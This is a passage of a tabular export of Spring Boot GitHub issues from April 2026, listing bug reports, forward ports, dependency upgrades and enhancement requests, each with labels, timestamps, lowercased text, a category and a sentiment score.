The combination `@RefreshScope` + `@ConfigurationProperties` is the
standard Spring Cloud pattern for runtime-reloadable properties, so every
project using this pattern is affected.

### Reproducer

Minimal multi-module reproducer (no security, ~10 files):
https://github.com/ahoehma/springboot-refreshscope-properties-bug

```
mvn -DskipTests install
mvn -pl sba-service spring-boot:run    # in one terminal
mvn -pl app-servi... [TRUNCATED]","type: bug,status: superseded",2026-04-27 16:16:02+00:00,2026-05-04 12:46:21+00:00,3,"type: bug,status: superseded",6.8544,configurationpropertiesreportendpoint exposes aop proxy internals spring boot version also reproduces with spring cloud provides description a annotated bean is exposed via with the aop proxy s interface getters included alongside the legitimate fields this happens independently of the leak is intrinsic to how the endpoint handles refresh scoped cglib proxies with configured the leak balloons by orders of magnitude because the jackson serializer follows into the entire startup event buffer hundreds to thousands of entries per refresh scoped bean the endpoint also exposes the bean twice once as the proxy and once as the underlying target the target serializes cleanly only the proxy variant carries the leak the combination is the standard spring cloud pattern for runtime reloadable properties so every project using this pattern is affected reproducer minimal multi module reproducer no security files mvn dskiptests install mvn pl sba service spring boot run in one terminal mvn pl app servi truncated,bug,-0.836
spring-projects/spring-boot,4336724267,Regression in ImportsCleanupPostProcessor in Spring Boot 3.5.14 (potentially in 4.0.6),"I think I found a (unintended) side effect in [a change included in Spring Boot 3.5.14](https://github.com/spring-projects/spring-boot/issues/49860) (and probably Spring Boot 4.0.6 as it includes [the change](https://github.com/spring-projects/spring-boot/issues/50012) too) but my tests were with SB 3.5.14 vs 3.5.13.

The `ImportsCleanupPostProcessor` no longer removes bean definitions registered via `@SpringBootTest(classes = TestClass.class)` when the bean name doesn't match the FQCN. This affect the test classes that are self-referenced in the `classes` attribute.


I haven't found any documentation warning that this was not recommended/supported (or that should not be done), or that was going to loose support. In addition it worked since Spring Boot 1.x till Spring Boot 3.5.13 (included).

Minimal reproducer that works with Spring Boot 3.5.13 and fails with Spring Boot 3.5.14:
```java
package testing;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestInfo;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest(classes = SpringBootRegressionTest.class)
@EnableAutoConfiguration
class SpringBootRegressionTest {

  private final TestInfo testInfo;

  SpringBootRegressionTest(TestInfo testInfo) {
    this.testInfo = testInfo;
  }

  @Test
  void contextLoads() {
  }
}

```
",status: declined,2026-04-27 15:00:19+00:00,2026-04-29 15:39:19+00:00,6,status: declined,2.0271,regression in importscleanuppostprocessor in spring boot potentially in i think i found a unintended side effect in a change included in spring boot and probably spring boot as it includes the change too but my tests were with sb vs the no longer removes bean definitions registered via when the bean name doesn t match the fqcn this affect the test classes that are self referenced in the attribute i haven t found any documentation warning that this was not recommended supported or that should not be done or that was going to loose support in addition it worked since spring boot x till spring boot included minimal reproducer that works with spring boot and fails with spring boot,bug,-0.9068
spring-projects/spring-boot,4334480469,Fix classname of ReactiveOAuth2ResourceServerJwkConfiguration,Forward port of issue #50226 to 4.0.x.,"type: task,status: forward-port",2026-04-27 09:04:40+00:00,2026-04-27 09:05:46+00:00,0,"type: task,status: forward-port",0.0008,fix classname of reactiveoauth resourceserverjwkconfiguration forward port of issue to x,bug,0.3612
spring-projects/spring-boot,4334271562,NimbusJwtDecoder silently accepts unknown values for spring.security.oauth2.resourceserver.jwt.jws-algorithms,Forward port of issue #50118 to 4.0.x.,"type: bug,status: forward-port",2026-04-27 08:30:50+00:00,2026-04-27 08:59:59+00:00,0,"type: bug,status: forward-port",0.0202,nimbusjwtdecoder silently accepts unknown values for spring security oauth resourceserver jwt jws algorithms forward port of issue to x,bug,0.7506
spring-projects/spring-boot,4334202929,Fix classname of ReactiveOAuth2ResourceServerJwkConfiguration,Should be ReactiveOAuth2ResourceServerJwtConfiguration,type: task,2026-04-27 08:20:26+00:00,2026-04-27 09:05:45+00:00,0,type: task,0.0315,fix classname of reactiveoauth resourceserverjwkconfiguration should be reactiveoauth resourceserverjwtconfiguration,bug,0.3612
spring-projects/spring-boot,4331754782,Missing dependency management for spring-boot-web-server-test,,type: bug,2026-04-26 19:18:26+00:00,2026-04-26 19:23:12+00:00,0,type: bug,0.0033,missing dependency management for spring boot web server test,bug,-0.296
spring-projects/spring-boot,4327681528,Document adding multiple connectors for Jetty,Forward port of issue #17144 to 4.0.x.,"type: documentation,status: superseded,status: forward-port",2026-04-25 09:21:14+00:00,2026-04-25 09:22:27+00:00,0,"type: documentation,status: superseded,status: forward-port",0.0008,document adding multiple connectors for jetty forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4327600461,Apply HTML escaping to timestamp attribute in Whitelabel error page,Forward port of issue #50205 to 4.0.x.,"type: bug,status: forward-port",2026-04-25 08:37:11+00:00,2026-04-25 08:40:36+00:00,0,"type: bug,status: forward-port",0.0024,apply html escaping to timestamp attribute in whitelabel error page forward port of issue to x,bug,-0.4215
spring-projects/spring-boot,4327395832,Polish InvalidConfigurationPropertyValueException constructor javadoc,Forward port of issue #50213 to 4.1.x.,"type: documentation,status: forward-port",2026-04-25 06:48:09+00:00,2026-04-25 06:50:52+00:00,0,"type: documentation,status: forward-port",0.0019,polish invalidconfigurationpropertyvalueexception constructor javadoc forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4327395229,Polish InvalidConfigurationPropertyValueException constructor javadoc,Forward port of issue #50212 to 4.0.x.,"type: documentation,status: forward-port",2026-04-25 06:47:52+00:00,2026-04-25 06:50:52+00:00,0,"type: documentation,status: forward-port",0.0021,polish invalidconfigurationpropertyvalueexception constructor javadoc forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4327391726,Polish InvalidConfigurationPropertyValueException constructor javadoc,,type: documentation,2026-04-25 06:45:56+00:00,2026-04-25 06:50:51+00:00,0,type: documentation,0.0034,polish invalidconfigurationpropertyvalueexception constructor javadoc,documentation,0.0
spring-projects/spring-boot,4326851979,Add public constructor to InvalidConfigurationPropertyValueException that accepts a cause,,type: enhancement,2026-04-25 03:08:38+00:00,2026-04-25 05:47:22+00:00,0,type: enhancement,0.1102,add public constructor to invalidconfigurationpropertyvalueexception that accepts a cause,feature,0.3182
spring-projects/spring-boot,4325160709,GrpcServerHealthScheduler is not started in servlet environments,While looking at #49830 I discovered that `GrpcServerHealthScheduler` doesn't work in servlet environments because no server started event is fired.,"type: bug,theme: grpc",2026-04-24 19:38:57+00:00,2026-05-01 04:26:58+00:00,0,"type: bug,theme: grpc",6.3667,grpcserverhealthscheduler is not started in servlet environments while looking at i discovered that doesn t work in servlet environments because no server started event is fired,bug,-0.7003
spring-projects/spring-boot,4324649288,FormLogin LoginProcessingUrl not working in SpringBoot 4.0.6,"We attempted to upgrade from SpringBoot 4.0.5 to 4.0.6 yesterday and it broke our formLogin configuration
and POSTs to the `loginProcessingUrl` now return

> Message: The requested resource [/j_spring_security_check] is not available

Snippet of HttpSecurity configuration:
```java
http
    .requestCache(c -> c.requestCache(requestCache()))
    .exceptionHandling(c -> c.authenticationEntryPoint(delegatingAuthenticationEntryPoint()))
    .securityContext(c -> c.securityContextRepository(cookieSecurityContextRepository()))
    .csrf(AbstractHttpConfigurer::disable)
    .authorizeHttpRequests(c -> c
        .requestMatchers(PathPatternRequestMatcher.withDefaults().matcher(""/j_spring_security_check"")).permitAll()
        .anyRequest().authenticated())
    .formLogin(c -> c
        .loginPage(""/login.html"")
        .loginProcessingUrl(""/j_spring_security_check"")
        .usernameParameter(""j_username"")
        .passwordParameter(""j_password"")
        .successHandler(authenticationSuccessHandler())
        .failureHandler(failedAuthenticationHandler()))
    .logout(c -> c
        .logoutUrl(""/j_spring_security_logout"")
        .logoutSuccessHandler(delegatingLogoutSuccessHandler()))
    .headers(c -> c
        .frameOptions(HeadersConfigurer.FrameOptionsConfig::disable)
        .addHeaderWriter(new CacheControlHeaderWriter())
        .httpStrictTransportSecurity(HeadersConfigurer.HstsConfig::disable));
``` ",for: external-project,2026-04-24 17:48:36+00:00,2026-04-24 19:37:15+00:00,3,for: external-project,0.0755,formlogin loginprocessingurl not working in springboot we attempted to upgrade from springboot to yesterday and it broke our formlogin configuration and posts to the now return message the requested resource j spring security check is not available snippet of httpsecurity configuration,others,-0.1027
spring-projects/spring-boot,4324148078,Support configuring readOnlyDataSource in LazyConnectionDataSourceProxy via auto-configuration,"**Description**
Spring Boot 4.1.0 introduces auto-configuration for `LazyConnectionDataSourceProxy`. However, there is currently no built-in way to configure a read-only data source for this proxy through auto-configuration or properties.

In scenarios where applications use separate ReadWriteDataSource (primary) and ReadOnlyDataSource (replica), the read-only data source is typically defined with `@Bean(defaultCandidate = false)`. To associate it with `LazyConnectionDataSourceProxy`, developers must manually define a custom DataSource bean and invoke setReadOnlyDataSource(...).

Providing first-class support for configuring the read-only data source via auto-configuration would eliminate this boilerplate and align with Spring Boot’s convention-over-configuration model.

Current WorkAround
```java
DataSource dataSource(final DataSource primaryDataSource, final @Qualifier(""readOnly"") DataSource replicaDataSource) {
    LazyConnectionDataSourceProxy proxy =
            new LazyConnectionDataSourceProxy(primaryDataSource);
    proxy.setReadOnlyDataSource(replicaDataSource);
    return proxy;
}
```

Can you please consider the Enhancement request

**Benefits**

- Eliminates manual bean configuration
- Simplifies multi-datasource (read/write split) setups
- Improves consistency with existing auto-configuration patterns",status: declined,2026-04-24 16:05:57+00:00,2026-04-25 09:51:24+00:00,1,status: declined,0.7399,support configuring readonlydatasource in lazyconnectiondatasourceproxy via auto configuration description spring boot introduces auto configuration for however there is currently no built in way to configure a read only data source for this proxy through auto configuration or properties in scenarios where applications use separate readwritedatasource primary and readonlydatasource replica the read only data source is typically defined with to associate it with developers must manually define a custom datasource bean and invoke setreadonlydatasource providing first class support for configuring the read only data source via auto configuration would eliminate this boilerplate and align with spring boot s convention over configuration model current workaround can you please consider the enhancement request benefits eliminates manual bean configuration simplifies multi datasource read write split setups improves consistency with existing auto configuration patterns,help,0.872
spring-projects/spring-boot,4323093795,Whitelabel error page does not apply HTML escaping to timestamp attribute,"By default, the timestamp attribute is a date and no escaping is required. However, if a user contributes a custom `ErrorAttributes` implementation there is a risk that they may set the `timestamp` to a user-controlled value. We should protect against such a mistake in application code by HTML-escaping the value as we do already for the other attributes.","type: bug,status: superseded",2026-04-24 13:03:59+00:00,2026-04-24 14:30:11+00:00,1,"type: bug,status: superseded",0.0599,whitelabel error page does not apply html escaping to timestamp attribute by default the timestamp attribute is a date and no escaping is required however if a user contributes a custom implementation there is a risk that they may set the to a user controlled value we should protect against such a mistake in application code by html escaping the value as we do already for the other attributes,bug,-0.4106
spring-projects/spring-boot,4322671803,Setting server.servlet.session.cookie.partitioned=true has no effect when using Tomcat,,type: regression,2026-04-24 11:46:42+00:00,2026-04-24 14:22:15+00:00,0,type: regression,0.108,setting server servlet session cookie partitioned true has no effect when using tomcat,bug,0.1531
spring-projects/spring-boot,4321070682,Fix typo in Spring Security OAuth2 client registration documentation,Forward port of issue #50193 to 4.0.x.,"type: documentation,status: forward-port",2026-04-24 06:40:54+00:00,2026-04-24 06:42:10+00:00,0,"type: documentation,status: forward-port",0.0009,fix typo in spring security oauth client registration documentation forward port of issue to x,bug,0.5994
spring-projects/spring-boot,4317309247,Consider exposing Path getter in ApplicationTemp,"While reading the release notes for latest version, I learned about ApplicationTemp utility which seems quite useful and even solves a security issue that Sonar is warning about when using `Files.createTemp*` methods with default TEMP dir.

However, `ApplicationTemp` only exposes methods that provide `java.io.File`, but uses `java.nio.files.Path` under the hood. We could use `getFile().toPath()` to get the `Path`, but since the `Path` is already used under the hood, I see no problem in simply providing it directly.

It would be great if the `Path getPath()` method was exposed, so the `ApplicationTemp` could be used with `Files` APIs when creating temp files or directories.

Thanks!","type: enhancement,status: superseded",2026-04-23 16:09:15+00:00,2026-04-24 11:30:06+00:00,2,"type: enhancement,status: superseded",0.8061,consider exposing path getter in applicationtemp while reading the release notes for latest version i learned about applicationtemp utility which seems quite useful and even solves a security issue that sonar is warning about when using methods with default temp dir however only exposes methods that provide but uses under the hood we could use to get the but since the is already used under the hood i see no problem in simply providing it directly it would be great if the method was exposed so the could be used with apis when creating temp files or directories thanks,feature,0.8098
spring-projects/spring-boot,4314436944,Default security is misconfigured when spring-boot-actuator-autoconfigure is present and spring-boot-health is not,Forward port of issue #50188 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:57:49+00:00,2026-04-23 08:10:04+00:00,0,"type: bug,status: forward-port",0.0085,default security is misconfigured when spring boot actuator autoconfigure is present and spring boot health is not forward port of issue to x,bug,0.34
spring-projects/spring-boot,4314431356,Elasticsearch Rest5Client auto-configuration misconfigures underlying HTTP client,Forward port of issue #50187 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:56:53+00:00,2026-04-23 08:10:03+00:00,0,"type: bug,status: forward-port",0.0091,elasticsearch rest client auto configuration misconfigures underlying http client forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314426834,Default security is misconfigured when spring-boot-actuator-autoconfigure is present and spring-boot-health is not,,type: bug,2026-04-23 07:56:10+00:00,2026-04-23 08:10:03+00:00,0,type: bug,0.0096,default security is misconfigured when spring boot actuator autoconfigure is present and spring boot health is not,bug,0.34
spring-projects/spring-boot,4314425703,Elasticsearch Rest5Client auto-configuration misconfigures underlying HTTP client,,type: bug,2026-04-23 07:55:59+00:00,2026-04-23 08:10:02+00:00,0,type: bug,0.0098,elasticsearch rest client auto configuration misconfigures underlying http client,bug,0.0
spring-projects/spring-boot,4314422089,ApplicationPidFileWriter does not handle symlinks correctly,Forward port of issue #50185 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:55:18+00:00,2026-04-23 08:10:01+00:00,0,"type: bug,status: forward-port",0.0102,applicationpidfilewriter does not handle symlinks correctly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314417413,ApplicationPidFileWriter does not handle symlinks correctly,Forward port of issue #50173 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:54:30+00:00,2026-04-23 08:10:01+00:00,0,"type: bug,status: forward-port",0.0108,applicationpidfilewriter does not handle symlinks correctly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314406996,RandomValuePropertySource is not suitable for secrets,Forward port of issue #50183 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:52:32+00:00,2026-04-23 08:09:59+00:00,0,"type: bug,status: forward-port",0.0121,randomvaluepropertysource is not suitable for secrets forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314403695,RandomValuePropertySource is not suitable for secrets,Forward port of issue #50172 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:51:54+00:00,2026-04-23 08:09:59+00:00,0,"type: bug,status: forward-port",0.0126,randomvaluepropertysource is not suitable for secrets forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314396898,Cassandra auto-configuration misconfigures CqlSessionBuilder,Forward port of issue #50180 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:50:42+00:00,2026-04-23 08:09:57+00:00,0,"type: bug,status: forward-port",0.0134,cassandra auto configuration misconfigures cqlsessionbuilder forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314395357,ConfigTreePropertySource.PropertyFileContent does not implement equals/hashCode,"Spring Boot: 4.0.5
Spring Cloud: 2025.1.1

As stated, PropertyFileContent does not implement equals/hashCode.
When combined with Spring Clouds context refresh, this causes all configtree properties to be treated as changed when ContextRefresher#refreshEnvironment checks for changes.

I would expect only those keys to be returned, where the actual content is changed, regardless of the source. The problematic check is in [ContextRefresher#changes](https://github.com/spring-cloud/spring-cloud-commons/blob/169968252ac57855d55f0b300b0256a49d808d21/spring-cloud-context/src/main/java/org/springframework/cloud/context/refresh/ContextRefresher.java#L145).","status: invalid,for: external-project",2026-04-23 07:50:26+00:00,2026-04-23 08:09:00+00:00,1,"status: invalid,for: external-project",0.0129,configtreepropertysource propertyfilecontent does not implement equals hashcode spring boot spring cloud as stated propertyfilecontent does not implement equals hashcode when combined with spring clouds context refresh this causes all configtree properties to be treated as changed when contextrefresher refreshenvironment checks for changes i would expect only those keys to be returned where the actual content is changed regardless of the source the problematic check is in contextrefresher changes,others,-0.4404
spring-projects/spring-boot,4314391608,Cassandra auto-configuration misconfigures CqlSessionBuilder,Forward port of issue #50171 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:49:46+00:00,2026-04-23 08:09:57+00:00,0,"type: bug,status: forward-port",0.014,cassandra auto configuration misconfigures cqlsessionbuilder forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314384587,ApplicationTemp does not handle symlinks correctly,Forward port of issue #50178 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:48:30+00:00,2026-04-23 08:09:56+00:00,0,"type: bug,status: forward-port",0.0149,applicationtemp does not handle symlinks correctly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314379578,ApplicationTemp does not handle symlinks correctly,Forward port of issue #50170 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:47:26+00:00,2026-04-23 08:09:55+00:00,0,"type: bug,status: forward-port",0.0156,applicationtemp does not handle symlinks correctly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314374787,Remote DevTools performs comparison incorrectly,Forward port of issue #50176 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:46:35+00:00,2026-04-23 08:09:54+00:00,0,"type: bug,status: forward-port",0.0162,remote devtools performs comparison incorrectly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314368365,Remote DevTools performs comparison incorrectly,Forward port of issue #50169 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:45:30+00:00,2026-04-23 08:09:53+00:00,0,"type: bug,status: forward-port",0.0169,remote devtools performs comparison incorrectly forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314363594,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,Forward port of issue #50174 to 4.1.x.,"type: bug,status: forward-port",2026-04-23 07:44:34+00:00,2026-04-23 08:09:52+00:00,0,"type: bug,status: forward-port",0.0176,spring rabbitmq ssl verify hostname is applied inconsistently forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314358565,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,Forward port of issue #50168 to 4.0.x.,"type: bug,status: forward-port",2026-04-23 07:43:32+00:00,2026-04-23 08:09:51+00:00,0,"type: bug,status: forward-port",0.0183,spring rabbitmq ssl verify hostname is applied inconsistently forward port of issue to x,bug,0.0
spring-projects/spring-boot,4314339852,ApplicationPidFileWriter does not handle symlinks correctly,,type: bug,2026-04-23 07:39:49+00:00,2026-04-23 08:10:00+00:00,0,type: bug,0.021,applicationpidfilewriter does not handle symlinks correctly,bug,0.0
spring-projects/spring-boot,4314338028,RandomValuePropertySource is not suitable for secrets,,type: bug,2026-04-23 07:39:28+00:00,2026-04-23 08:09:58+00:00,0,type: bug,0.0212,randomvaluepropertysource is not suitable for secrets,bug,0.0
spring-projects/spring-boot,4314337484,Cassandra auto-configuration misconfigures CqlSessionBuilder,,type: bug,2026-04-23 07:39:22+00:00,2026-04-23 08:09:56+00:00,0,type: bug,0.0212,cassandra auto configuration misconfigures cqlsessionbuilder,bug,0.0
spring-projects/spring-boot,4314336795,ApplicationTemp does not handle symlinks correctly,,type: bug,2026-04-23 07:39:15+00:00,2026-04-23 08:09:54+00:00,0,type: bug,0.0213,applicationtemp does not handle symlinks correctly,bug,0.0
spring-projects/spring-boot,4314336138,Remote DevTools performs comparison incorrectly,,type: bug,2026-04-23 07:39:07+00:00,2026-04-23 08:09:52+00:00,0,type: bug,0.0214,remote devtools performs comparison incorrectly,bug,0.0
spring-projects/spring-boot,4314335077,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,,type: bug,2026-04-23 07:38:56+00:00,2026-04-23 08:09:50+00:00,0,type: bug,0.0215,spring rabbitmq ssl verify hostname is applied inconsistently,bug,0.0
spring-projects/spring-boot,4311491683,Improve handling of malformed LiveReload connection requests,Forward port of issue #50142 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-04-22 19:51:33+00:00,2026-04-22 20:08:16+00:00,0,"type: task,status: forward-port,status: team-only",0.0116,improve handling of malformed livereload connection requests forward port of issue to x,feature,0.4404
spring-projects/spring-boot,4310606884,Upgrade to MySQL 9.7.0,Upgrade to [MySQL 9.7.0](https://dev.mysql.com/doc/relnotes/connector-j/en/news-9-7-0.html).,"type: dependency-upgrade,status: team-only",2026-04-22 17:03:20+00:00,2026-04-22 17:04:53+00:00,0,"type: dependency-upgrade,status: team-only",0.0011,upgrade to mysql upgrade to mysql,others,0.0
spring-projects/spring-boot,4306936358,Upgrade to Spring gRPC 1.1.0-RC1,Upgrade to [Spring gRPC 1.1.0-RC1](https://github.com/spring-projects/spring-grpc/releases/tag/v1.1.0-RC1).,"type: dependency-upgrade,status: team-only",2026-04-22 05:40:08+00:00,2026-04-22 05:43:03+00:00,0,"type: dependency-upgrade,status: team-only",0.002,upgrade to spring grpc rc upgrade to spring grpc rc,others,0.0
spring-projects/spring-boot,4306869736,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50060","type: dependency-upgrade,status: team-only",2026-04-22 05:22:41+00:00,2026-04-22 05:37:12+00:00,0,"type: dependency-upgrade,status: team-only",0.0101,upgrade to thymeleaf extras springsecurity release upgrade to thymeleaf extras springsecurity release supersedes,others,0.0
spring-projects/spring-boot,4306869334,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50059","type: dependency-upgrade,status: team-only",2026-04-22 05:22:36+00:00,2026-04-22 05:37:12+00:00,0,"type: dependency-upgrade,status: team-only",0.0101,upgrade to thymeleaf release upgrade to thymeleaf release supersedes,others,0.0
spring-projects/spring-boot,4306869106,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22 05:22:32+00:00,2026-04-22 05:37:11+00:00,0,"type: dependency-upgrade,status: team-only",0.0102,upgrade to lombok upgrade to lombok,others,0.0
spring-projects/spring-boot,4306867432,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50053","type: dependency-upgrade,status: team-only",2026-04-22 05:22:07+00:00,2026-04-22 05:37:10+00:00,0,"type: dependency-upgrade,status: team-only",0.0105,upgrade to thymeleaf extras springsecurity release upgrade to thymeleaf extras springsecurity release supersedes,others,0.0
spring-projects/spring-boot,4306867167,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50052","type: dependency-upgrade,status: team-only",2026-04-22 05:22:02+00:00,2026-04-22 05:37:10+00:00,0,"type: dependency-upgrade,status: team-only",0.0105,upgrade to thymeleaf release upgrade to thymeleaf release supersedes,others,0.0
spring-projects/spring-boot,4306867110,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50049","type: dependency-upgrade,status: team-only",2026-04-22 05:22:01+00:00,2026-04-22 05:37:09+00:00,0,"type: dependency-upgrade,status: team-only",0.0105,upgrade to thymeleaf extras springsecurity release upgrade to thymeleaf extras springsecurity release supersedes,others,0.0
spring-projects/spring-boot,4306866956,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22 05:21:58+00:00,2026-04-22 05:37:09+00:00,0,"type: dependency-upgrade,status: team-only",0.0105,upgrade to lombok upgrade to lombok,others,0.0
spring-projects/spring-boot,4306866840,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50048","type: dependency-upgrade,status: team-only",2026-04-22 05:21:56+00:00,2026-04-22 05:37:08+00:00,0,"type: dependency-upgrade,status: team-only",0.0106,upgrade to thymeleaf release upgrade to thymeleaf release supersedes,others,0.0
spring-projects/spring-boot,4306866601,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22 05:21:51+00:00,2026-04-22 05:37:07+00:00,0,"type: dependency-upgrade,status: team-only",0.0106,upgrade to lombok upgrade to lombok,others,0.0
spring-projects/spring-boot,4306454953,GrpcDisableCsrfHttpConfigurer incorrectly uses inverse of 'spring.grpc.server.security.csrf.enabled' property,It's also missing metadata,"type: bug,theme: grpc",2026-04-22 02:59:57+00:00,2026-04-22 03:32:36+00:00,0,"type: bug,theme: grpc",0.0227,grpcdisablecsrfhttpconfigurer incorrectly uses inverse of spring grpc server security csrf enabled property it s also missing metadata,bug,0.0516
spring-projects/spring-boot,4301516306,Improve handling of malformed LiveReload connection requests,,"type: task,status: team-only",2026-04-21 09:07:50+00:00,2026-04-22 20:08:15+00:00,2,"type: task,status: team-only",1.4586,improve handling of malformed livereload connection requests,feature,0.4404
spring-projects/spring-boot,4300866463,Normalize output locations when extracting buildpack layers,"With thanks to @August829 for pointing this out, we should add some output location normalization when extracting buildpack layers.","type: task,status: team-only",2026-04-21 06:57:08+00:00,2026-04-23 01:05:55+00:00,0,"type: task,status: team-only",1.7561,normalize output locations when extracting buildpack layers with thanks to august for pointing this out we should add some output location normalization when extracting buildpack layers,others,0.4404
spring-projects/spring-boot,4297884319,Upgrade to Hibernate 6.6.49.Final,"Upgrade to [Hibernate 6.6.49.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.49).

Supersedes #50047","type: dependency-upgrade,status: team-only",2026-04-20 18:38:27+00:00,2026-04-20 19:01:14+00:00,0,"type: dependency-upgrade,status: team-only",0.0158,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4297876237,Upgrade to Testcontainers 2.0.5,Upgrade to [Testcontainers 2.0.5](https://github.com/testcontainers/testcontainers-java/releases/tag/2.0.5).,"type: dependency-upgrade,status: team-only",2026-04-20 18:37:05+00:00,2026-04-20 19:01:13+00:00,0,"type: dependency-upgrade,status: team-only",0.0168,upgrade to testcontainers upgrade to testcontainers,others,0.0
spring-projects/spring-boot,4297875658,Upgrade to Kotlin Serialization 1.11.0,Upgrade to [Kotlin Serialization 1.11.0](https://github.com/Kotlin/kotlinx.serialization/releases/tag/v1.11.0).,"type: dependency-upgrade,status: team-only",2026-04-20 18:37:00+00:00,2026-04-20 19:01:12+00:00,0,"type: dependency-upgrade,status: team-only",0.0168,upgrade to kotlin serialization upgrade to kotlin serialization,others,0.0
spring-projects/spring-boot,4297875200,Upgrade to HttpClient5 5.6.1,Upgrade to HttpClient5 5.6.1.,"type: dependency-upgrade,status: team-only",2026-04-20 18:36:56+00:00,2026-04-20 19:01:11+00:00,0,"type: dependency-upgrade,status: team-only",0.0168,upgrade to httpclient upgrade to httpclient,others,0.0
spring-projects/spring-boot,4297874393,Upgrade to Hibernate 7.2.12.Final,"Upgrade to [Hibernate 7.2.12.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.12).

Supersedes #50054","type: dependency-upgrade,status: team-only",2026-04-20 18:36:50+00:00,2026-04-20 19:01:10+00:00,0,"type: dependency-upgrade,status: team-only",0.0169,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4297867077,Upgrade to Testcontainers 2.0.5,Upgrade to [Testcontainers 2.0.5](https://github.com/testcontainers/testcontainers-java/releases/tag/2.0.5).,"type: dependency-upgrade,status: team-only",2026-04-20 18:35:37+00:00,2026-04-20 19:01:10+00:00,0,"type: dependency-upgrade,status: team-only",0.0177,upgrade to testcontainers upgrade to testcontainers,others,0.0
spring-projects/spring-boot,4297866224,Upgrade to Hibernate 7.2.12.Final,"Upgrade to [Hibernate 7.2.12.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.12).

Supersedes #50050","type: dependency-upgrade,status: team-only",2026-04-20 18:35:31+00:00,2026-04-20 19:01:08+00:00,0,"type: dependency-upgrade,status: team-only",0.0178,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4294490120,Normalize layer locations during layer extraction,Forward port of issue #50131 to 4.1.x.,"type: task,status: forward-port",2026-04-20 09:09:27+00:00,2026-04-20 09:10:32+00:00,0,"type: task,status: forward-port",0.0008,normalize layer locations during layer extraction forward port of issue to x,others,0.0
spring-projects/spring-boot,4294467331,Normalize layer locations during layer extraction,Forward port of issue #50130 to 4.0.x.,"type: task,status: forward-port",2026-04-20 09:05:31+00:00,2026-04-20 09:10:31+00:00,0,"type: task,status: forward-port",0.0035,normalize layer locations during layer extraction forward port of issue to x,others,0.0
spring-projects/spring-boot,4293554671,Normalize layer locations during layer extraction,"With thanks to @swapnilpaliwal-sd for pointing this out, our protection against misconfigured layers metadata is incomplete. It normalizes paths within a layer's directory but does not apply the same normalization to the layer's directory itself.",type: task,2026-04-20 06:27:14+00:00,2026-04-20 09:10:30+00:00,0,type: task,0.1134,normalize layer locations during layer extraction with thanks to swapnilpaliwal sd for pointing this out our protection against misconfigured layers metadata is incomplete it normalizes paths within a layer s directory but does not apply the same normalization to the layer s directory itself,others,0.2382
spring-projects/spring-boot,4293546984,Upgrade to Spring Kafka 3.3.15,Upgrade to [Spring Kafka 3.3.15](https://github.com/spring-projects/spring-kafka/releases/tag/v3.3.15).,"type: dependency-upgrade,status: team-only",2026-04-20 06:25:26+00:00,2026-04-20 19:01:15+00:00,0,"type: dependency-upgrade,status: team-only",0.5249,upgrade to spring kafka upgrade to spring kafka,others,0.0
